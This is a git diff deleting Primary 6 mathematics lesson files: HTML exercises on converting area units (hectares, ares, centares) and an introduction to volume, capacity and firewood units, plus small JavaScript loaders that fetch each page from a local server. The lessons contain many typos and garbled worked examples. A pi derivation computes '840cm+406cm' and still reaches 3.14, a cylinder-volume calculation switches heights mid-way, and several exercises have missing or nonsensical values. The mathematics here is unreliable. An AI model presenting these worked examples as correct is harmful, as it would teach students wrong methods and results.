diff --git a/Save_Mathematics/P6/map611m14/map611m14a03/a.txt b/Save_Mathematics/P6/map611m14/map611m14a03/a.txt
deleted file mode 100644
index 4b6f62d..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a03/a.txt
+++ /dev/null
@@ -1,90 +0,0 @@
-<p>
- <strong>
-  Independent practice
- </strong>
- <br />
- <br />
- Convert the following to the units given:
- <br />
- <br />
- a) 15dam
- <sup>
-  2
- </sup>
- =...........ca
- <br />
- b. 79ham
- <sup>
-  2
- </sup>
- =............da
- <br />
- c. 843hm
- <sup>
-  2
- </sup>
- =.............ca
- <br />
- d.45ha+25a=..............ca
- <br />
- e. 39dm
- <sup>
-  2
- </sup>
- 10ca+16m
- <sup>
-  2
- </sup>
- =..........ca
- <br />
- f. 39km
- <sup>
-  2
- </sup>
- +231ca=-d
- <br />
- g. (50ha/5)-9dm
- <sup>
-  2
- </sup>
- =...........mm
- <sup>
-  2
- </sup>
- <br />
- i. (1290km
- <sup>
-  2
- </sup>
- -859ha)+375=............cm
- <sup>
-  2
- </sup>
- =..............mm
- <sup>
-  2
- </sup>
- <br />
- j. (600 dam
- <sup>
-  2
- </sup>
- *3)+(800ca/4)=........cm
- <sup>
-  2
- </sup>
- <br />
- k. Two lands( A and B) have 650hectares, what area occupies by B if A occupies 3970dam
- <sup>
-  2
- </sup>
- ?
- <br />
- <br />
- l. A room occupied 1240ca. What area is occupied by one nif that is devided into 4 parts?
- <br />
- <br />
- m. Rivugabaramye had two lands, one of them was aabout 2ha and the laast ones hdd 350d, what is the total area altogether in ca??
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a03/description.py b/Save_Mathematics/P6/map611m14/map611m14a03/description.py
deleted file mode 100644
index aa4c595..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m14a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m14/map611m14a03/lesson.js b/Save_Mathematics/P6/map611m14/map611m14a03/lesson.js
deleted file mode 100644
index 4a4c616..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m14/map611m14a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m14/map611m14a03/source.txt b/Save_Mathematics/P6/map611m14/map611m14a03/source.txt
deleted file mode 100644
index 4b6f62d..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a03/source.txt
+++ /dev/null
@@ -1,90 +0,0 @@
-<p>
- <strong>
-  Independent practice
- </strong>
- <br />
- <br />
- Convert the following to the units given:
- <br />
- <br />
- a) 15dam
- <sup>
-  2
- </sup>
- =...........ca
- <br />
- b. 79ham
- <sup>
-  2
- </sup>
- =............da
- <br />
- c. 843hm
- <sup>
-  2
- </sup>
- =.............ca
- <br />
- d.45ha+25a=..............ca
- <br />
- e. 39dm
- <sup>
-  2
- </sup>
- 10ca+16m
- <sup>
-  2
- </sup>
- =..........ca
- <br />
- f. 39km
- <sup>
-  2
- </sup>
- +231ca=-d
- <br />
- g. (50ha/5)-9dm
- <sup>
-  2
- </sup>
- =...........mm
- <sup>
-  2
- </sup>
- <br />
- i. (1290km
- <sup>
-  2
- </sup>
- -859ha)+375=............cm
- <sup>
-  2
- </sup>
- =..............mm
- <sup>
-  2
- </sup>
- <br />
- j. (600 dam
- <sup>
-  2
- </sup>
- *3)+(800ca/4)=........cm
- <sup>
-  2
- </sup>
- <br />
- k. Two lands( A and B) have 650hectares, what area occupies by B if A occupies 3970dam
- <sup>
-  2
- </sup>
- ?
- <br />
- <br />
- l. A room occupied 1240ca. What area is occupied by one nif that is devided into 4 parts?
- <br />
- <br />
- m. Rivugabaramye had two lands, one of them was aabout 2ha and the laast ones hdd 350d, what is the total area altogether in ca??
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a04/a.txt b/Save_Mathematics/P6/map611m14/map611m14a04/a.txt
deleted file mode 100644
index 627c4d2..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a04/a.txt
+++ /dev/null
@@ -1,58 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
- </span>
- <br style="font-weight: bold;" />
- <br />
- answer the following:
- <br />
- <br />
- a. Add 18km
- <sup>
-  2
- </sup>
- +59ha=............ca
- <br />
- b. Subtract: 19km
- <sup>
-  2
- </sup>
- -10da=..........;.a
- <br />
- c. (124ca/2)+(5cm
- <sup>
-  2
- </sup>
- *3)=.............cm
- <sup>
-  2
- </sup>
- <br />
- d. 13dm
- <sup>
-  2
- </sup>
- 59cm
- <sup>
-  2
- </sup>
- =.............mm
- <sup>
-  2
- </sup>
- <br />
- e. The total area of the two villages is 8540ha. If one of the two has 4500ares, what is the area of the other one?
- <br />
- <br />
- f. A farmer bought a land of 1579ca, he bought another at the next month of dm
- <sup>
-  2
- </sup>
- . Express the totl aarea in mm
- <sup>
-  2
- </sup>
- .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a04/description.py b/Save_Mathematics/P6/map611m14/map611m14a04/description.py
deleted file mode 100644
index a25b80f..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m14a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m14/map611m14a04/lesson.js b/Save_Mathematics/P6/map611m14/map611m14a04/lesson.js
deleted file mode 100644
index f1123bb..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m14/map611m14a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m14/map611m14a04/source.txt b/Save_Mathematics/P6/map611m14/map611m14a04/source.txt
deleted file mode 100644
index 627c4d2..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a04/source.txt
+++ /dev/null
@@ -1,58 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
- </span>
- <br style="font-weight: bold;" />
- <br />
- answer the following:
- <br />
- <br />
- a. Add 18km
- <sup>
-  2
- </sup>
- +59ha=............ca
- <br />
- b. Subtract: 19km
- <sup>
-  2
- </sup>
- -10da=..........;.a
- <br />
- c. (124ca/2)+(5cm
- <sup>
-  2
- </sup>
- *3)=.............cm
- <sup>
-  2
- </sup>
- <br />
- d. 13dm
- <sup>
-  2
- </sup>
- 59cm
- <sup>
-  2
- </sup>
- =.............mm
- <sup>
-  2
- </sup>
- <br />
- e. The total area of the two villages is 8540ha. If one of the two has 4500ares, what is the area of the other one?
- <br />
- <br />
- f. A farmer bought a land of 1579ca, he bought another at the next month of dm
- <sup>
-  2
- </sup>
- . Express the totl aarea in mm
- <sup>
-  2
- </sup>
- .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a05/a.txt b/Save_Mathematics/P6/map611m14/map611m14a05/a.txt
deleted file mode 100644
index 0269dfa..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a05/a.txt
+++ /dev/null
@@ -1,45 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial.
- </span>
- <br style="font-weight: bold;" />
-</p>
-<ul>
- <li>
-  we use measurements to analyse the value of land, playground, plantations,figures,the area of village,.....
- </li>
- <li>
-  A land has 25 hectares.
- </li>
- <li>
-  A playground has 160 000m
-  <sup>
-   2
-  </sup>
- </li>
-</ul>
-<p>
- Answer the following:
- <br />
- <br />
- a) 18km
- <sup>
-  2
- </sup>
- -176h=.........ca
- <br />
- b) (96a/3)-(16ca*2)=
- <br />
- c) 56dm
- <sup>
-  2
- </sup>
- 1400cm
- <sup>
-  2
- </sup>
- =...........mm
- <sup>
-  2
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a05/description.py b/Save_Mathematics/P6/map611m14/map611m14a05/description.py
deleted file mode 100644
index 767722e..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m14a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m14/map611m14a05/lesson.js b/Save_Mathematics/P6/map611m14/map611m14a05/lesson.js
deleted file mode 100644
index 5470650..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m14/map611m14a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m14/map611m14a05/source.txt b/Save_Mathematics/P6/map611m14/map611m14a05/source.txt
deleted file mode 100644
index 0269dfa..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a05/source.txt
+++ /dev/null
@@ -1,45 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial.
- </span>
- <br style="font-weight: bold;" />
-</p>
-<ul>
- <li>
-  we use measurements to analyse the value of land, playground, plantations,figures,the area of village,.....
- </li>
- <li>
-  A land has 25 hectares.
- </li>
- <li>
-  A playground has 160 000m
-  <sup>
-   2
-  </sup>
- </li>
-</ul>
-<p>
- Answer the following:
- <br />
- <br />
- a) 18km
- <sup>
-  2
- </sup>
- -176h=.........ca
- <br />
- b) (96a/3)-(16ca*2)=
- <br />
- c) 56dm
- <sup>
-  2
- </sup>
- 1400cm
- <sup>
-  2
- </sup>
- =...........mm
- <sup>
-  2
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a06/a.txt b/Save_Mathematics/P6/map611m14/map611m14a06/a.txt
deleted file mode 100644
index 6296892..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a06/a.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Enrichment.
- </span>
- <br />
- <br />
- 1. If the total area of banana cultivation is 115 670ha.
- <br />
- a. What is te area in square decimetres?
- <br />
- b. What is the area in centares?
- <br />
- <br />
- 2) ............dam
- <sup>
-  2
- </sup>
- -(32ca*3)=1320?
- <br />
- 3) 54ha8a+(78ca/6)=-cm
- <sup>
-  2
- </sup>
- <br />
- 4) 9541ha=.............m
- <sup>
-  2
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m14/map611m14a06/description.py b/Save_Mathematics/P6/map611m14/map611m14a06/description.py
deleted file mode 100644
index 7b435ec..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m14a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m14/map611m14a06/lesson.js b/Save_Mathematics/P6/map611m14/map611m14a06/lesson.js
deleted file mode 100644
index 12c326a..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m14/map611m14a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m14/map611m14a06/source.txt b/Save_Mathematics/P6/map611m14/map611m14a06/source.txt
deleted file mode 100644
index 6296892..0000000
--- a/Save_Mathematics/P6/map611m14/map611m14a06/source.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Enrichment.
- </span>
- <br />
- <br />
- 1. If the total area of banana cultivation is 115 670ha.
- <br />
- a. What is te area in square decimetres?
- <br />
- b. What is the area in centares?
- <br />
- <br />
- 2) ............dam
- <sup>
-  2
- </sup>
- -(32ca*3)=1320?
- <br />
- 3) 54ha8a+(78ca/6)=-cm
- <sup>
-  2
- </sup>
- <br />
- 4) 9541ha=.............m
- <sup>
-  2
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m15/activities.js b/Save_Mathematics/P6/map611m15/activities.js
deleted file mode 100755
index 1e806c9..0000000
--- a/Save_Mathematics/P6/map611m15/activities.js
+++ /dev/null
@@ -1,6 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m15a01','blue'],
-['2','2','map6','basic','map611m15a02','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m15/map611m15a01/a.txt b/Save_Mathematics/P6/map611m15/map611m15a01/a.txt
deleted file mode 100644
index 97a192c..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a01/a.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction
- </span>
- <br />
- <br />
- To get the water fro the rain, we use different forms of tanks or containers. We need to know the amount of each container or tank. The capacity can be: 2000 litres or
- <br />
- 2 000dm
- <sup>
-  3
- </sup>
- equals 2,5 000 litres or 5 000dm
- <sup>
-  3
- </sup>
- equals 5m
- <sup>
-  3
- </sup>
- .
- <br />
- <br />
- We can also use measurements to know the volume o firewood.
- <br />
- <br />
- In this mileston, we will learn how to use the measurment of volume and firewood, comparing with measurement of the capacity nd mass.
- <br />
- <br />
- To know the capacity of tank we hve to identify its height and the are of the base(bse are)
- <br />
- <br />
- For example:
-</p>
-<ul>
- <li>
-  A cube has 5m as height and each side of his base is 5m
- </li>
-</ul>
-<p>
- The volume will be:
- <br />
- <br />
- V=H*S*S=5m*5m*5m
- <br />
- 25m
- <sup>
-  2
- </sup>
- *5m
- <br />
- Volume =125m
- <sup>
-  3
- </sup>
- , tthis volume is the same of a pea of firewood of the same dimensionn but we count itin steres(125steres)
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m15/map611m15a01/description.py b/Save_Mathematics/P6/map611m15/map611m15a01/description.py
deleted file mode 100644
index 4f8f8f6..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m15a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m15/map611m15a01/lesson.js b/Save_Mathematics/P6/map611m15/map611m15a01/lesson.js
deleted file mode 100644
index 50a896e..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m15/map611m15a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m15/map611m15a01/source.txt b/Save_Mathematics/P6/map611m15/map611m15a01/source.txt
deleted file mode 100644
index 97a192c..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a01/source.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction
- </span>
- <br />
- <br />
- To get the water fro the rain, we use different forms of tanks or containers. We need to know the amount of each container or tank. The capacity can be: 2000 litres or
- <br />
- 2 000dm
- <sup>
-  3
- </sup>
- equals 2,5 000 litres or 5 000dm
- <sup>
-  3
- </sup>
- equals 5m
- <sup>
-  3
- </sup>
- .
- <br />
- <br />
- We can also use measurements to know the volume o firewood.
- <br />
- <br />
- In this mileston, we will learn how to use the measurment of volume and firewood, comparing with measurement of the capacity nd mass.
- <br />
- <br />
- To know the capacity of tank we hve to identify its height and the are of the base(bse are)
- <br />
- <br />
- For example:
-</p>
-<ul>
- <li>
-  A cube has 5m as height and each side of his base is 5m
- </li>
-</ul>
-<p>
- The volume will be:
- <br />
- <br />
- V=H*S*S=5m*5m*5m
- <br />
- 25m
- <sup>
-  2
- </sup>
- *5m
- <br />
- Volume =125m
- <sup>
-  3
- </sup>
- , tthis volume is the same of a pea of firewood of the same dimensionn but we count itin steres(125steres)
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m15/map611m15a02/a.txt b/Save_Mathematics/P6/map611m15/map611m15a02/a.txt
deleted file mode 100644
index 10e35d4..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a02/a.txt
+++ /dev/null
@@ -1,737 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- Consider the following figure:
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: center; direction: ltr;">
- <span style="font-weight: bold;">
-  V=Pi*r2*h=Pi*r*r*h
- </span>
- <br />
- <div style="text-align: left;">
-  <br />
-  Where V:Volume
-  <br />
-  Pi=3.14
-  <br />
-  r=cicle radius
-  <br />
-  h=height
-  <br />
-  <br />
-  Example1: Find the value of Pi if
-  <br />
-  height=2cm
-  <br />
-  r=140cm
-  <br />
-  d=140*2=280
-  <br style="font-weight: bold;" />
-  <br style="font-weight: bold;" />
-  <span style="font-weight: bold;">
-   Solution:
-  </span>
-  <br />
-  <br />
-  Pi=
-  <span style="text-decoration: underline;">
-   3*diameter+diameter/7
-  </span>
-  <br />
-  diameter
-  <br />
-  <br />
-  <br />
-  =
-  <span style="text-decoration: underline;">
-   (280cm*3) +280cm/7
-  </span>
-  =
-  <span style="text-decoration: underline;">
-   840cm+406cm
-  </span>
-  <br />
-  280cm 280cm
-  <br />
-  <br />
-  =3.142857=3.14 or
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  <br />
-  7
-  <br />
-  <br />
-  If diameter is 7cm
-  <br />
-  <br />
-  V=(
-  <span style="text-decoration: underline;">
-   22 *140cm*140cm
-  </span>
-  )*200
-  <br />
-  7
-  <br />
-  V=
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  *19600cm
-  <sup>
-   2
-  </sup>
-  *280cm
-  <br />
-  7
-  <br />
-  V=22*2800cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  <br />
-  V=61600cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  =12 320 000cm
-  <sup>
-   3
-  </sup>
-  <br />
-  <br />
-  Capacity=12 320 000litres
-  <br />
-  <br />
-  Comparing units using a conversion table.
-  <br />
-  <br />
-  <br />
-  <table border="1" width="100%">
-   <tbody>
-    <tr>
-     <td colspan="12" width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      UNITS
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      Measurementts of
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      m
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      dm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      cm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      mm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      volu
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dast
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      st
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dst
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      firewood
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      t
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      q
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      -
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      kg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dag
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      g
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mass
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dal
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      l
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      ml
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      capacity
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      5
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      1
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
-  <span class="nolink">
-  </span>
-  <br />
-  <br />
-  <ul>
-   <li>
-    Measuremens of volume.
-   </li>
-  </ul>
-  Cube kilometres: (1km
-  <sup>
-   3
-  </sup>
-  )=1km*1km*1km
-  <br />
-  Cube hectometres(1hm
-  <sup>
-   3
-  </sup>
-  )=1hm*1hm*1hm
-  <br />
-  Cube decametres(1dam
-  <sup>
-   3
-  </sup>
-  )=1dam*1dam*1dam
-  <br />
-  Cube metres(m
-  <sup>
-   3
-  </sup>
-  )=1m*1m*1m
-  <br />
-  Cube decimetres(1dm
-  <sup>
-   3
-  </sup>
-  )=1dm*1dm*1dm
-  <br />
-  Cube centimetres(1cm
-  <sup>
-   3
-  </sup>
-  )=1cm*1cm*1cm
-  <br />
-  Cube millimetres(mm
-  <sup>
-   3
-  </sup>
-  )=1mm*1mm*1mm
-  <br />
-  <br />
-  <ul>
-   <li>
-    Measurements of firewood
-   </li>
-  </ul>
-  Decastere(dast)
-  <br />
-  Stere(st)
-  <br />
-  Decistere(dst)
-  <br />
-  <br />
-  <ul>
-   <li>
-    Comparison
-   </li>
-  </ul>
-  1st=1m
-  <sup>
-   3
-  </sup>
-  =1t
-  <br />
-  1l=1dm
-  <sup>
-   3
-  </sup>
-  =1kg
-  <br />
-  5000l=5t=5st
-  <br />
-  1st=10dst=10q=10hl
-  <br />
-  1dast=100dst
-  <br />
